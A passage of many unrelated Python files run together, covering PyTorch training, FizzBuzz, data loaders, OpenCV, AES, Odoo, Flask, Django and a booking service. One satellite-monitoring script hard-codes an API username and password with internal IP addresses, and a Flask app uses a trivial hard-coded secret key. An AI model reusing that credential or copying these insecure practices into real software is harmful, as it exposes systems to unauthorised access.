        checkpoint = {"model" : model.state_dict(), "optimizer": optimizer.state_dict()}
        save_checkpoint(checkpoint)
    for batch_idx, (data, targets) in enumerate(tqdm(train_loader)):
        # Get data to cuda if possible
        data = data.to(device=device)
        targets = targets.to(device=device)

        # forward
        scores = model(data)
        loss = criterion(scores, targets)
        losses.append(loss.item())

        # backward
        optimizer.zero_grad()
        loss.backward()

        # gradient descent or adam step
        optimizer.step()
    # for debugging purpose
    print(f"Loss at epoch {epoch}: {loss.item()}")

# Check accuracy on training & test to see how good our model
def check_accuracy(loader, model):
    if loader.dataset.train:
        print("Checking accuracy on train data")
    else:
        print("Checking accuracy on test data")

    num_correct = 0
    num_samples = 0
    model.eval()

    with torch.no_grad():
        for x, y in loader:
            x = x.to(device=device)
            y = y.to(device=device)

            scores = model(x)
            _, predictions = scores.max(1)
            num_correct += (predictions == y).sum()
            num_samples += predictions.size(0)

    model.train()
    return num_correct/num_samples

# Printing the accuracy
print(f"Accuracy on training set: {check_accuracy(train_loader, model)*100:.2f}")
print(f"Accuracy on test set: {check_accuracy(test_loader, model)*100:.2f}")


# Write a Python program that iterates through integers from 1 to 100 and prints them.
# For integers that are multiples of three, print "Fizz" instead of the number.
# For integers that are multiples of five, print "Buzz".
# For integers which are multiples of both three and five print, "FizzBuzz".

l = [x+1 for x in range(100)]

for each in l:
    if ( each%3 == 0 ) and ( each%5 == 0 ):
        print ("FizzBuzz")
    elif (each%3 == 0):
        print ("Fizz")
    elif (each%5 == 0):
        print ("Buzz")
    else:
        print(each)


import numpy as np
from torch.utils.data import DataLoader

from .image import get_image_datasets
from .tabular import get_tabular_datasets

def get_loaders_from_config(cfg, device, **kwargs):
    if cfg["net"] == "cnn":
        flatten = False
    elif cfg["net"] == "mlp":
        flatten = True
    elif cfg["net"] == "logistic":
        flatten = True
    else:
        raise ValueError(f"Unknown net type {cfg['net']} for flattening")

    train_loader, valid_loader, test_loader = get_loaders(
        dataset=cfg["dataset"],
        device=device,
        data_root=cfg.get("data_root", "data/"),
        train_batch_size=cfg["train_batch_size"],
        valid_batch_size=cfg["valid_batch_size"],
        test_batch_size=cfg["test_batch_size"],
        group_ratios=cfg["group_ratios"],
        seed=cfg["seed"],
        protected_group=cfg["protected_group"],
        make_valid_loader=cfg["make_valid_loader"],
        flatten=flatten,
    )

    if cfg["dataset"] in ["celeba"]:
        train_dataset_shape = train_loader.dataset.shape
    else:
        train_dataset_shape = train_loader.dataset.x.shape
    cfg["train_dataset_size"] = train_dataset_shape[0]
    cfg["data_shape"] = tuple(train_dataset_shape[1:])
    cfg["data_dim"] = int(np.prod(cfg["data_shape"]))

    if not cfg["make_valid_loader"]:
        valid_loader = test_loader
        print("WARNING: Using test loader for validation")

    return train_loader, valid_loader, test_loader

def get_loaders(
        dataset,
        device,
        data_root,
        train_batch_size,
        valid_batch_size,
        test_batch_size,
        group_ratios,
        seed,
        protected_group,
        make_valid_loader,
        flatten,
):
    # NOTE: only training and validation sets sampled according to group_ratios
    if dataset in ["mnist", "fashion-mnist", "cifar10", "svhn", "celeba"]:
        train_dset, valid_dset, test_dset = get_image_datasets(dataset, data_root, seed, group_ratios,
                                                               make_valid_loader, flatten)

    # NOTE: entire dataset sampled according to group_ratios
    elif dataset in ["adult", "dutch"]:
        train_dset, valid_dset, test_dset = get_tabular_datasets(dataset, data_root, seed, protected_group,
                                                                 group_ratios, make_valid_loader)
    else:
        raise ValueError(f"Unknown dataset {dataset}")

    train_loader = get_loader(train_dset, device, train_batch_size, drop_last=False)

    if make_valid_loader:
        valid_loader = get_loader(valid_dset, device, valid_batch_size, drop_last=False)
    else:
        valid_loader = None

    test_loader = get_loader(test_dset, device, test_batch_size, drop_last=False)

    return train_loader, valid_loader, test_loader

def get_loader(dset, device, batch_size, drop_last):
    return DataLoader(
        dset.to(device),
        batch_size=batch_size,
        shuffle=True,
        drop_last=drop_last,
        num_workers=0,
        pin_memory=False
    )


"""
code by NduX
"""

import requests
import time
import datetime
from wolfpak import influxdb_hauler, convert_to_influx_time
from influxdb import InfluxDBClient

def influx_run_query(query, db):

    ip_address = "172.24.7.10"
    client = InfluxDBClient(ip_address, 8086,"","",db)
    client.query(query)

def pulse_api_call(ip, api_call, auth1):
    '''
    http://10.200.170.132/api/2.0/config/protocolprocessorserver

    '''
    status_code = 'none'
    url = r'http://' + ip + api_call
    r = requests.get(url, auth=(auth1[0], auth1[1]))
    status_code = r.status_code

    pp_dict = r.json()

    while "next" in r.json()['meta']:
        next_api_call = r.json()['meta']['next']
        url = r'http://' + ip + next_api_call
        r = requests.get(url, auth=(auth1[0], auth1[1]))
        pp_dict['data']= pp_dict['data'] + r.json()['data']

        if status_code == 200: status_code = r.status_code #dont see where he stores new status code

    if status_code != 200:
        print(f"One of the API calls failed: {status_code}")

    print(f"Size of API call Response: {r.text.__sizeof__()} Bytes")

    return pp_dict
#### end of function pulse_api_call using requests#############################

def get_obj_names(obj):
    '''
    This function will return a dict of objectnames
    Key = obj_id and the value is the obj_name
   '''
    #return_dict = {}

    ip_address = "10.200.170.132"
    api_call = "/api/2.0/config/" + obj
    auth = ('ndugod', 'Intelsat#2')

    result = pulse_api_call(ip_address, api_call, auth)

    return result
#### End of Function get_obj_names ############################################

def cluster_name_formatter(cluster_name):
    cluster_name_splitted_list=cluster_name.split('-')
    cluster_name_abb=""
    for i in cluster_name_splitted_list:

        i=i.upper()
        if (i.startswith('PCL')) or (i.startswith('FLX')):
            continue
        else:
            cluster_name_abb+=i
    cluster_name_abb='PP-'+cluster_name_abb

    return cluster_name_abb
#### End of Function get_obj_names ############################################

if __name__=="__main__":

    epoch_time = datetime.datetime.fromtimestamp(time.time())
    influx_time= convert_to_influx_time(epoch_time.strftime('%H:%M:%S'))
    influx_list=[]

    pp_server_result = get_obj_names('protocolprocessorserver')
    pp_cluster_result=get_obj_names('protocolprocessorcluster')
    site_result = get_obj_names('site')
    satellite_result= get_obj_names('satellite')
    pp_objid_server_dict = {}
    for server_record in pp_server_result['data']:
        server_obj_id=server_record.get('obj_parentid')
        id_check=pp_objid_server_dict.get(server_obj_id, None)
        if id_check!=None:
            pp_objid_server_dict[server_obj_id].append({server_record['obj_name']:server_record["obj_attributes"]['adminaddress']})
        else:
            pp_objid_server_dict[server_obj_id]=[{server_record['obj_name']:server_record["obj_attributes"]['adminaddress']}]
    # print(pp_objid_server_dict)

    pp_objid_cluster_dict = {}
    for cluster_record in pp_cluster_result['data']:
        cluster_parent_id=cluster_record.get('obj_parentid')
        id_check=pp_objid_cluster_dict.get(cluster_parent_id, None)
        if id_check!=None:
            pp_objid_cluster_dict[cluster_parent_id].append({cluster_record["obj_id"]:cluster_record['obj_name']})
        else:
            pp_objid_cluster_dict[cluster_parent_id]=[{cluster_record["obj_id"]:cluster_record['obj_name']}]
    # print(pp_objid_cluster_dict)

    cluster_id_to_cluster_name_dict={}
    for cluster_record in pp_cluster_result['data']:
        cluster_id=cluster_record.get('obj_id')
        cluster_name=cluster_record.get('obj_name')
        cluster_id_to_cluster_name_dict[cluster_id]=cluster_name_formatter(cluster_name)
    # print(cluster_id_to_cluster_name_dict)

    site_dict = {}
    for site_record in site_result['data']:
        site_obj_id=site_record.get('obj_id')
        site_dict[site_obj_id]={site_record["obj_name"]:site_record["obj_attributes"]["satellite_id"]}
    # print(site_dict)

    sat_dict = {}
    for sat_record in satellite_result['data']:
        sat_obj_id=sat_record.get('obj_id')
        sat_dict[sat_obj_id]={sat_record["obj_attributes"]["domainname"]:sat_record["obj_attributes"]["longitude"]}
    #print(sat_dict)

    for cluster_parent_id in pp_objid_cluster_dict:
        site=site_dict.get(cluster_parent_id)
        for site_name_sat_id in site.items():
            sat_info=sat_dict.get(site_name_sat_id[1])
            pp_objid_cluster_dict[cluster_parent_id].append(sat_info)
    #print(pp_objid_cluster_dict)

    for server_parent_id in pp_objid_server_dict:
        for cluster_parent_id in pp_objid_cluster_dict:
            cluster_info_list=pp_objid_cluster_dict.get(cluster_parent_id)
            if cluster_info_list[0].get(server_parent_id)!=None:
                cluster_sat_info=cluster_info_list[1]
                pp_objid_server_dict[server_parent_id].append(cluster_sat_info)
            else:
                continue
    #print(pp_objid_server_dict)

    for server_parent_id in pp_objid_server_dict:
    #     influx_dicts['tags']['server_parent_id']=server_parent_id
        servers_list=pp_objid_server_dict.get(server_parent_id)
        sat_info_dict = servers_list[-1]
        if sat_info_dict is None:
            continue
    #     print(sat_info_dict)
        sat_name=None
        sat_long=None
        for sat_element in sat_info_dict:
            sat_name=sat_element
            sat_long=sat_info_dict[sat_element]
        # epoch_time=epoch_time
        for count in range(len(servers_list)-1):
            single_server_dict=servers_list[count]
            influx_dicts={'measurement':'clusters',
                                          'tags':{"server_name":'',"server_parent_id":'',
                                                   "cluster":'', "sat":''},
                                          'time':influx_time,  'fields':{'server_address':'', 'sat_long':''}}
            for server_element in single_server_dict:
                influx_dicts['tags']['cluster']=cluster_id_to_cluster_name_dict.get(server_parent_id)
                influx_dicts['tags']['server_parent_id']=server_parent_id
                influx_dicts['tags']["server_name"]=server_element
                influx_dicts['tags']["sat"]=sat_name
                influx_dicts['fields']["server_address"]=single_server_dict[server_element]
                influx_dicts['fields']["sat_long"]=float(sat_long)
            influx_list.append(influx_dicts)
    print(influx_list)
    print(len(influx_list))
    db='clusters'
    query="delete from clusters"
    deleting_old_rrecords=influx_run_query(query, db) #deleting all old cluster records before loading new ones
    influxdb_hauler(influx_list, db, host='all clusters')


import cv2 as cv
import numpy as np
from matplotlib import pyplot as plt

def main():
    # image's path
    img_rgb = cv.imread('mario.png')

    # converting image to grayscale
    img_gray = cv.cvtColor(img_rgb, cv.COLOR_BGR2GRAY)

    # path to template image and turned it to grayscale too
    template = cv.imread('mario_coin.png',0)

    # defining weight and height to enclose the template (in rectangle)
    w, h = template.shape[::-1]

    # indicating the detection method with matchTemplate(image,template,the method)
    res = cv.matchTemplate(img_gray,template,cv.TM_CCOEFF_NORMED)

    # defining the threshold value
    threshold = 0.8

    # finding the location of the template in the image
    loc = np.where( res >= threshold)

    for pt in zip(*loc[::-1]):
        # drawing a rectangle around the template
        cv.rectangle(img_rgb, pt, (pt[0] + w, pt[1] + h), (0,0,255), 1)

    # saving the result image
    cv.imwrite('res.png',img_rgb)

if __name__ == "__main__":
    main()


# coding: utf-8
# Le neuronal network actuel que j'utilise est un 2 inputs (Input_A & Input_B ) donc les 2 entrées.
# Ensuite les 2 entrées sont redirigés par les 3 synapses qui sont reliées aux 3 "hidden Layer"
# Qui ensuite sont redirigés par les 3 synapses --> output Layer
# --
# Pour le tableau, j'ai décidé de prendre pour exemple un tableau avec 10 valeurs & 3 colonnes
# Pour le context il y aura un système de voiture & camion. [ 0 pour la voiture & 1 pour le camion ]
# Ainsi que leur dimensions donc longeur du vehicule et largeur

# Importations des modules
import numpy as np
import matplotlib.pyplot as plt
import mplcyberpunk
import time as t
import os

# Input_A = Longueur & Largeur (valeur dans le tableau)
# Input_B = 0 -> voiture | 1 -> camion

# Définir les entrées avec les valeurs du tableau
input_dimension = np.array(([3.5,1.5], [9.3,2.3], [5.5,2.7], [7.3,2.5], [2.3,1.7], [6.9,2.9], [2.7,1.6], [3.9,1.8], [8.3,3], [6.4,2.2]), dtype=float)
# Dans l'input B il n'y a que 9 valeurs car il nous faut trouver la 10ème valeur (celle manquante)
input_type = np.array(([0], [1], [1], [1], [0], [1], [0], [0], [1]), dtype=float)

# On divise par le plus grand chiffre pour nous permettre d'obtenir des valeurs entre 0 & 1
# Axis est égal a l'axe dont on veut calculer nos valeurs
input_a_divided = input_dimension/np.amax(input_dimension, axis=0)

# On split les valeurs donc on recupère seulement les valeurs avec un résulat donc les 9 première
split_value = np.split(input_a_divided,[9])[0]
split_prediction = np.split(input_a_divided,[9])[1]

# Création d'une classe pour le reseaux neuronal
class neuronal_network:
    def __init__(self):
        # Les valeurs ci-dessous sont celles retrouvé sur l'image qui illustre ce code.
        self.inputNeuronal = 2
        self.hiddenNeuronal = 3
        self.outputNeuronal = 1

        self.weight1 = np.random.randn(self.inputNeuronal, self.hiddenNeuronal)
        self.weight2 = np.random.randn(self.hiddenNeuronal, self.outputNeuronal)

    def feedforward(self, split_value):
        # La variable self.multi multiplie la valeur d'entrer donc qui est maintenant split_value, et on la multiplie par self.weight1
        # Et donc ensuite avec self.sigmoid_cal on effectue la fonction sigmoid dessus (j'ai du mal avec)
        self.multi_1 = np.dot(split_value, self.weight1)
        self.sigmoid_cal_1 = self.sigmoid_equation(self.multi_1)
        self.multi_2 = np.dot(self.sigmoid_cal_1, self.weight2)
        output_sigmoid = self.sigmoid_equation(self.multi_2)
        return output_sigmoid

    # On créer une fonction pour écrire le calcule de la fonction sigmoid afin de l'appliquer au dessus
    def sigmoid_equation(self, S):
        return 1/(1+np.exp(-S))

# Output de notre calcul matriciel
output_result = neuronal_network().feedforward(split_value)

# J'ai crée ici un graphique pour mieux se visualiser le tableau & comparer
plt.style.use("cyberpunk")
plt.plot(split_value, marker='o', label='Bleu = Largeur & Rose = Longueur')
plt.legend(loc='lower left')
mplcyberpunk.add_glow_effects()

def question_choice():
    while True:
        print("""
1. Afficher les données de l'IA
2. Afficher le graphique
3. Afficher les deux

        """)
        input_question = input(str("Veuillez choisir: "))
        if input_question == '1':
            print("La sortie prédite par l'IA: ", str(output_result))
            print("La sortie réel: ", str(input_type))
            break
        elif input_question == '2':
            print(plt.show())
            break
        elif input_question == '3':
            print(output_result, plt.show())
        else:
            os.system("clear")
            print('[ERREUR] Veuillez choisir un élément ci-dessus !')
            t.sleep(2)
            os.system("clear")

if __name__ == "__main__":
    question_choice()

# A ce stade la l'AI fait juste crée un tableau avec des valeurs, leur soumettre la fonction d'activation qui est la fonction sigmoid, ainsi que input_a_divided qui va garder toute nos valeurs
# entre 0 & 1 donc actuellement on a des valeurs qui sont sortie grâce au calcul matriciel dans la class neuronal_network mais le soucis est que les valeurs des weights donc des poids/synaps
# sont actuellement générer aléatoirement ce qui fait qu'il faut utilisé la "rétropropagation" afin d'obtenir des résultats proche de la réalité, malheureusement étant donné que j'apprend
# en auto didacte sur ce sujet là il est compliqué de comprendre plein chose tel que certaine fonction mathématique ou autre.


"""
	* @ date: 15/05/2022
	* @ author: Almanza Martínez Francisco Alejadro
	* @ subject: Criptography
	* @ teacher: Sandra Diaz Santiago
	* @ Description: Practice 5. AES encryption. Usage python aes.py <operation_mode>
	*	0: "CBC"
	*	1: "CTR"
	*	2: "OFB"
	*	3: "CFB"
	*
"""
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad
import base64, os, sys

if __name__ == '__main__':
	if not len(sys.argv) > 1:
		print("[E] Operation mode is missing: 0: CBC, 1: CTR, 2: OFB, 3: CFB")
		exit()
	op_mode = int(sys.argv[1])
	key = get_random_bytes(16)

	f = open(f"./keys/AES_key{sys.argv[1]}.txt", "wb")
	b64_key = base64.b64encode(key)
	f.write(b64_key)
	f.close()
	random_bytes_file = open('/dev/random', 'rb')
	padding = random_bytes_file.read(1000000)
	random_bytes_file.close()

	if op_mode == 0:
		cipher = AES.new(key, AES.MODE_CBC)
	if op_mode == 1:
		cipher = AES.new(key, AES.MODE_CTR)
		nonce = cipher.nonce
	if op_mode == 2:
		cipher = AES.new(key, AES.MODE_OFB)
	if op_mode == 3:
		cipher = AES.new(key, AES.MODE_CFB)

	f = open(f"./messages/AES_message{sys.argv[1]}.txt", "wb")
	plaintext = b"The name of the ship was the Billy of tea... "

	ciphertext = cipher.encrypt(pad(plaintext, 256))

	b64 = base64.b64encode(ciphertext)
	padding = base64.b64encode(padding)
	f.write(b64+padding)
	f.close()

	print(plaintext)


import csv

def extract():
    # csv file name
    filename = "uscities.csv"

    # initializing the titles and rows list
    fields = []
    rows = []

    # reading csv file
    with open(filename, 'r') as csvfile:
        # creating a csv reader object
        csvreader = csv.reader(csvfile)

        # extracting field names through first row
        fields = next(csvreader)

        # extracting each data row one by one
        for row in csvreader:
            bow = str(row[1]) + ", " + str(row[2])
            rows.append(bow)
    return rows

def issues():
    lis = ["Single Car Accident", "Bike & Car Accident", "Multiple Car Accident", "Auto Theft", "Hit and Run"]
    return lis


from urllib.request import urlopen,Request
from urllib.parse import quote,urlencode

url = "http://www.baidu.com/"
url1 = "https://www.baidu.com/s?wd=python"

# 搜索字符为中文汉字时可以使用quote或urlencode方法进行编码转换
# 这是通过quote方法进行转码,适用于仅编码wd为汉字的情况
url2 = "https://www.baidu.com/s?wd={}".format(quote("尚学堂"))

# 使用urlencode方式转码，需创建一个字典对象，字典中的键值对通过urlencode方法调用后，自动用&连接。
args={
    "wd":"知乎",
    "ie":"utf-8"
}
url3 = "https://www.baidu.com/s?{}".format(urlencode(args))

headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.164 Safari/537.36 Edg/91.0.864.71"}

request = Request(url3, headers=headers)
response = urlopen(request)
print(response.read().decode())


from odoo import api, fields, models

class SaleOrderLine(models.Model):
    _inherit = "sale.order.line"

    qty_procured = fields.Float(
        string="Quantity Procured",
        help="Quantity already planned or shipped (stock movements already created)",
        compute="_compute_qty_procured",
        readonly=True,
        store=True,
    )
    qty_to_procure = fields.Float(
        string="Quantity to Procure",
        help="There is Pending qty to add to a delivery",
        compute="_compute_qty_to_procure",
        store=True,
        readonly=True,
    )

    @api.depends(
        "move_ids.state",
        "move_ids.scrapped",
        "move_ids.product_uom_qty",
        "move_ids.product_uom",
        "move_ids.location_id",
        "move_ids.location_dest_id",
    )
    def _compute_qty_procured(self):
        """
        Computes the already planned quantities for the given sale order lines,
        based on the existing stock.moves
        """
        for line in self:
            qty_procured = 0
            if line.qty_delivered_method == "stock_move":
                qty_procured = line._get_qty_procurement(previous_product_uom_qty=False)
            line.qty_procured = qty_procured

    @api.depends("product_uom_qty", "qty_procured")
    def _compute_qty_to_procure(self):
        """Computes the remaining quantity to plan on sale order lines"""
        for line in self:
            line.qty_to_procure = line.product_uom_qty - line.qty_procured

    def _get_procurement_group(self):
        # Overload to get the procurement.group for the right date / partner
        # Note: sale_manual_delivery is expected to be a manual.delivery record
        manual_delivery = self.env.context.get("sale_manual_delivery")
        if manual_delivery:
            domain = [
                ("sale_id", "=", self.order_id.id),
                ("partner_id", "=", manual_delivery.partner_id.id),
            ]
            if manual_delivery.date_planned:
                domain += [
                    ("date_planned", "=", manual_delivery.date_planned),
                ]
            return self.env["procurement.group"].search(domain, limit=1)
        else:
            return super()._get_procurement_group()

    def _prepare_procurement_group_vals(self):
        # Overload to add manual.delivery fields to procurement.group
        # Note: sale_manual_delivery is expected to be a manual.delivery record
        res = super()._prepare_procurement_group_vals()
        manual_delivery = self.env.context.get("sale_manual_delivery")
        if manual_delivery:
            res["partner_id"] = manual_delivery.partner_id.id
            res["date_planned"] = manual_delivery.date_planned
        return res

    def _prepare_procurement_values(self, group_id=False):
        # Overload to handle manual delivery date planned and route
        # This method ultimately prepares stock.move vals as its result is sent
        # to StockRule._get_stock_move_values.
        # Note: sale_manual_delivery is expected to be a manual.delivery record
        res = super()._prepare_procurement_values(group_id=group_id)
        manual_delivery = self.env.context.get("sale_manual_delivery")
        if manual_delivery:
            if manual_delivery.date_planned:
                res["date_planned"] = manual_delivery.date_planned
            if manual_delivery.route_id:
                # `_get_stock_move_values` expects a recordset
                res["route_ids"] = manual_delivery.route_id
        return res

    def _action_launch_stock_rule_manual(self, previous_product_uom_qty=False):
        # Note: sale_manual_delivery is expected to be a manual.delivery record
        manual_delivery = self.env.context.get("sale_manual_delivery")
        procurements = []
        for line in self:
            if line.state != "sale" or line.product_id.type not in ("consu", "product"):
                continue
            # Qty comes from the manual delivery wizard
            # This is different than the original method
            manual_line = manual_delivery.line_ids.filtered(
                lambda l: l.order_line_id == line
            )
            if not manual_line.quantity:
                continue
            group_id = line._get_procurement_group()
            if not group_id:
                group_id = self.env["procurement.group"].create(
                    line._prepare_procurement_group_vals()
                )
            else:
                # In case the procurement group is already created and the order was
                # cancelled, we need to update certain values of the group.
                # This part is different than the original method
                if group_id.move_type != line.order_id.picking_policy:
                    group_id.write({"move_type": line.order_id.picking_policy})
            values = line._prepare_procurement_values(group_id=group_id)
            line_uom = line.product_uom
            quant_uom = line.product_id.uom_id
            product_qty, procurement_uom = line_uom._adjust_uom_quantities(
                manual_line.quantity, quant_uom
            )
            procurements.append(
                self.env["procurement.group"].Procurement(
                    line.product_id,
                    product_qty,
                    procurement_uom,
                    line.order_id.partner_shipping_id.property_stock_customer,
                    line.name,
                    line.order_id.name,
                    line.order_id.company_id,
                    values,
                )
            )
        if procurements:
            self.env["procurement.group"].run(procurements)
        return True

    def _action_launch_stock_rule(self, previous_product_uom_qty=False):
        # Overload to skip launching stock rules on manual delivery lines
        # We only launch them when this is called from the manual delivery wizard
        # Note: sale_manual_delivery is expected to be a manual.delivery record
        manual_delivery_lines = self.filtered("order_id.manual_delivery")
        lines_to_launch = self - manual_delivery_lines
        return super(SaleOrderLine, lines_to_launch)._action_launch_stock_rule(
            previous_product_uom_qty=previous_product_uom_qty
        )


#! /usr/bin/dev python
# -*- coding utf-8 -*-
# @Time: 2018-06-20 20:54
# @Author: Wang Ya wen
# @Site:
# @File: reader.py

from flask import Flask, render_template, session

app = Flask(__name__)
app.secret_key = '234567'

@app.route('/')
def home():
    user_id = session.get('user_id')
    if user_id is None:
        return render_template('login.html')
    return render_template('index.html')

if __name__ == '__main__':
    app.run()


#!/usr/bin/env python

import os

from django.core.management.base import BaseCommand, CommandError
from django.conf import settings
from whoosh.index import create_in
from whoosh.fields import ID, TEXT, Schema

class Command(BaseCommand):
    help = 'Crear índice whoosh'

    def handle(self, *args, **kwargs):
        self.stdout.write('Creadon índice', ending=' ')
        schema = Schema(
            id_documento=ID(stored=True),
            name=TEXT(stored=True),
            labels=TEXT(stored=True),
            content=TEXT()
            )
        if not os.path.isdir(settings.INDEX_DIR):
            os.makedirs(settings.INDEX_DIR)
            self.stdout.write('D', ending='')
        index = create_in(settings.INDEX_DIR, schema)
        self.stdout.write('I', ending='')
        self.stdout.write(' [ok]')


'''Write a Python program to find those numbers which are divisible by 7 and multiple of 5,
 between 1500 and 2700 (both included).'''

if __name__ == "__main__":

    num_list = []
    for i in range(1500, 2701):
        if i % 7 == 0 and i % 5 == 0:
            num_list.append(i)
    print(num_list)

input("Press any key to exit")


from booking.models import *
from users import db_communication as users_db
from trips import db_communication as trips_db
from booking.exceptions import *
import asyncio
from loguru import logger

def book(token, id_, seats) -> int:
    trip = trips_db.get_target_trip(id=id_)
    if not trips_db.is_exists(id_):
        raise NotExistException
    if seats:
        for seat in seats:
            if seat in get_taken_seats(trips_db.get_target_trip(id=id_)):
                raise SeatIsTakenException
        booking = Booking(
            owner=users_db.get_user(token=token),
            trip=trip
        )
        booking.set_seat(seats)
    else:
        booking = Booking(
            owner=users_db.get_user(token=token),
            trip=trip
        )
    if seats:
        trips_db.push_notify(trip.owner.fcm_token, 'Поездка', f'У вас новая бронь. Поездка'
                                                              f' {trip.departure_set.first().name}-'
                                                              f'{trip.stops_set.last().name}')
    else:
        trips_db.push_notify(trip.owner.fcm_token, 'Поездка', f'Бронирование передачи посылки. Поездка'
                                                              f' {trip.departure_set.first().name}-'
                                                              f'{trip.stops_set.last().name}')
    asyncio.run(trips_db.notify(trip.owner.id, 'new booking'))
    booking.save()
    return booking.id

def cancel_booking(token: str, id_: int):
    user = users_db.get_user(token=token)
    bookings = Booking.objects.filter(owner=user, trip=trips_db.get_target_trip(id=id_))
    if not bookings:
        raise NotExistException
    for booking in bookings:
        booking.delete()
    trips_db.push_notify(user.fcm_token, 'cancel booking', 'cancel booking')
    asyncio.run(trips_db.notify(booking.trip.owner.id, 'cancel booking'))
    return True

def cancel_booking_for_driver(token: str, trip_id: int, user_id):
    driver = users_db.get_user(token=token)
    user = users_db.get_user(id=user_id)
    trip = trips_db.get_target_trip(id=trip_id)
    if trip.owner != driver:
        raise Exception('Khui tebe')
    bookings = Booking.objects.filter(owner_id=user_id, trip=trip)
    for booking in bookings:
        booking.delete()
    trips_db.push_notify(user.fcm_token, 'cancel booking', 'cancel booking')
    asyncio.run(trips_db.notify(user.id, 'cancel booking'))
    return True

def get_passengers(id_: int):
    return list(set([
        i.owner for i in Booking.objects.filter(trip_id=id_).all()
    ]))

def get_passengers_and_bookings(id_: int):
    return [
        (i.owner, i.id) for i in Booking.objects.filter(trip_id=id_).all()
    ]

def get_user_seat(user, trip):
    list_ = []
    for i in get_passengers_and_bookings(trip.id):
        if i[0] == user:
            list_.extend(get_booking(id=i[1]).get_seat())
    if list_:
        return list_
    else:
        raise NotInTripException

def get_taken_seats(trip):
    taken = []
    for booking in Booking.objects.filter(trip=trip):
        taken.extend(booking.get_seat())
    return taken

def get_booking(**kwargs) -> Booking:
    return Booking.objects.filter(
        **kwargs
    ).first()

def get_all_booking(owner):
    return Booking.objects.filter(
        owner=owner
    ).all()


from itertools import cycle
import numpy as np
import torch
import torch.nn as nn
import models
from layers import masked_cross_entropy
from utils import to_var, time_desc_decorator,  pad_and_pack, normal_kl_div, to_bow, bag_of_words_loss, normal_kl_div, embedding_metric
import os
from tqdm import tqdm
from math import isnan
import re
import math
import pickle
#import gensim

word2vec_path = "../datasets/GoogleNews-vectors-negative300.bin"

class Solver(object):
    def __init__(self, config, train_data_loader, eval_data_loader, vocab, is_train=True, model=None):
        self.config = config
        self.epoch_i = 0
        self.train_data_loader = train_data_loader
        self.eval_data_loader = eval_data_loader
        self.vocab = vocab
        self.is_train = is_train
        self.model = model

    @time_desc_decorator('Build Graph')
    def build(self, cuda=True):

        if self.model is None:
            self.model = getattr(models, self.config.model)(self.config)

            # orthogonal initialiation for hidden weights
            # input gate bias for GRUs
            if self.config.mode == 'train' and self.config.checkpoint is None:
                print('Parameter initiailization')
                for name, param in self.model.named_parameters():
                    if 'weight_hh' in name:
                        print('\t' + name)
                        nn.init.orthogonal_(param)

                    # bias_hh is concatenation of reset, input, new gates
                    # only set the input gate bias to 2.0
                    if 'bias_hh' in name:
                        print('\t' + name)
                        dim = int(param.size(0) / 3)
                        param.data[dim:2 * dim].fill_(2.0)

        if torch.cuda.is_available() and cuda:
            self.model.cuda()

        # Overview Parameters
        print('Model Parameters')
        for name, param in self.model.named_parameters():
            print('\t' + name + '\t', list(param.size()))

        if self.config.checkpoint:
            self.load_model(self.config.checkpoint)

        if self.is_train:
            #self.writer = TensorboardWriter(self.config.logdir)
            self.optimizer = self.config.optimizer(
                filter(lambda p: p.requires_grad, self.model.parameters()),
                lr=self.config.learning_rate)

    def save_model(self, epoch):
        """Save parameters to checkpoint"""
        ckpt_path = os.path.join(self.config.save_path, f'{epoch}.pkl')
        print(f'Save parameters to {ckpt_path}')
        torch.save(self.model.state_dict(), ckpt_path)

    def load_model(self, checkpoint):
        """Load parameters from checkpoint"""
        print(f'Load parameters from {checkpoint}')
        epoch = re.match(r"[0-9]*", os.path.basename(checkpoint)).group(0)
        self.epoch_i = int(epoch)
        self.model.load_state_dict(torch.load(checkpoint))

    def write_summary(self, epoch_i):
        epoch_loss = getattr(self, 'epoch_loss', None)
        if epoch_loss is not None:
            self.writer.update_loss(
                loss=epoch_loss,
                step_i=epoch_i + 1,
                name='train_loss')

        epoch_recon_loss = getattr(self, 'epoch_recon_loss', None)
        if epoch_recon_loss is not None:
            self.writer.update_loss(
                loss=epoch_recon_loss,
                step_i=epoch_i + 1,
                name='train_recon_loss')

        epoch_kl_div = getattr(self, 'epoch_kl_div', None)
        if epoch_kl_div is not None:
            self.writer.update_loss(
                loss=epoch_kl_div,
                step_i=epoch_i + 1,
                name='train_kl_div')

        kl_mult = getattr(self, 'kl_mult', None)
        if kl_mult is not None:
            self.writer.update_loss(
                loss=kl_mult,
                step_i=epoch_i + 1,
                name='kl_mult')

        epoch_bow_loss = getattr(self, 'epoch_bow_loss', None)
        if epoch_bow_loss is not None:
            self.writer.update_loss(
                loss=epoch_bow_loss,
                step_i=epoch_i + 1,
                name='bow_loss')

        validation_loss = getattr(self, 'validation_loss', None)
        if validation_loss is not None:
            self.writer.update_loss(
                loss=validation_loss,
                step_i=epoch_i + 1,
                name='validation_loss')

    @time_desc_decorator('Training Start!')
    def train(self):
        epoch_loss_history = []
        for epoch_i in range(self.epoch_i, self.config.n_epoch):
            self.epoch_i = epoch_i
            batch_loss_history = []
            self.model.train()
            n_total_words = 0
            for batch_i, (conversations, conversation_length, sentence_length, images, images_length) in enumerate(tqdm(self.train_data_loader, ncols=80)):
                # conversations: (batch_size) list of conversations
                #   conversation: list of sentences
                #   sentence: list of tokens
                # conversation_length: list of int
                # sentence_length: (batch_size) list of conversation list of sentence_lengths

                input_conversations = [conv[:-1] for conv in conversations]
                target_conversations = [conv[1:] for conv in conversations]

                # flatten input and target conversations
                input_sentences = [sent for conv in input_conversations for sent in conv]
                target_sentences = [sent for conv in target_conversations for sent in conv]
                input_sentence_length = [l for len_list in sentence_length for l in len_list[:-1]]
                target_sentence_length = [l for len_list in sentence_length for l in len_list[1:]]
                input_conversation_length = [l - 1 for l in conversation_length]
                input_images = [i for item in images for i in item]
                input_images_length = [i for item in images_length for i in item]

                input_sentences = to_var(torch.LongTensor(input_sentences))
                target_sentences = to_var(torch.LongTensor(target_sentences))
                input_sentence_length = to_var(torch.LongTensor(input_sentence_length))
                target_sentence_length = to_var(torch.LongTensor(target_sentence_length))
                input_conversation_length = to_var(torch.LongTensor(input_conversation_length))
                input_images = to_var(torch.stack(input_images))
                input_images_length = to_var(torch.LongTensor(input_images_length))

                # reset gradient
                self.optimizer.zero_grad()

                sentence_logits = self.model(
                    input_sentences,
                    input_sentence_length,
                    input_conversation_length,
                    target_sentences,
                    input_images,
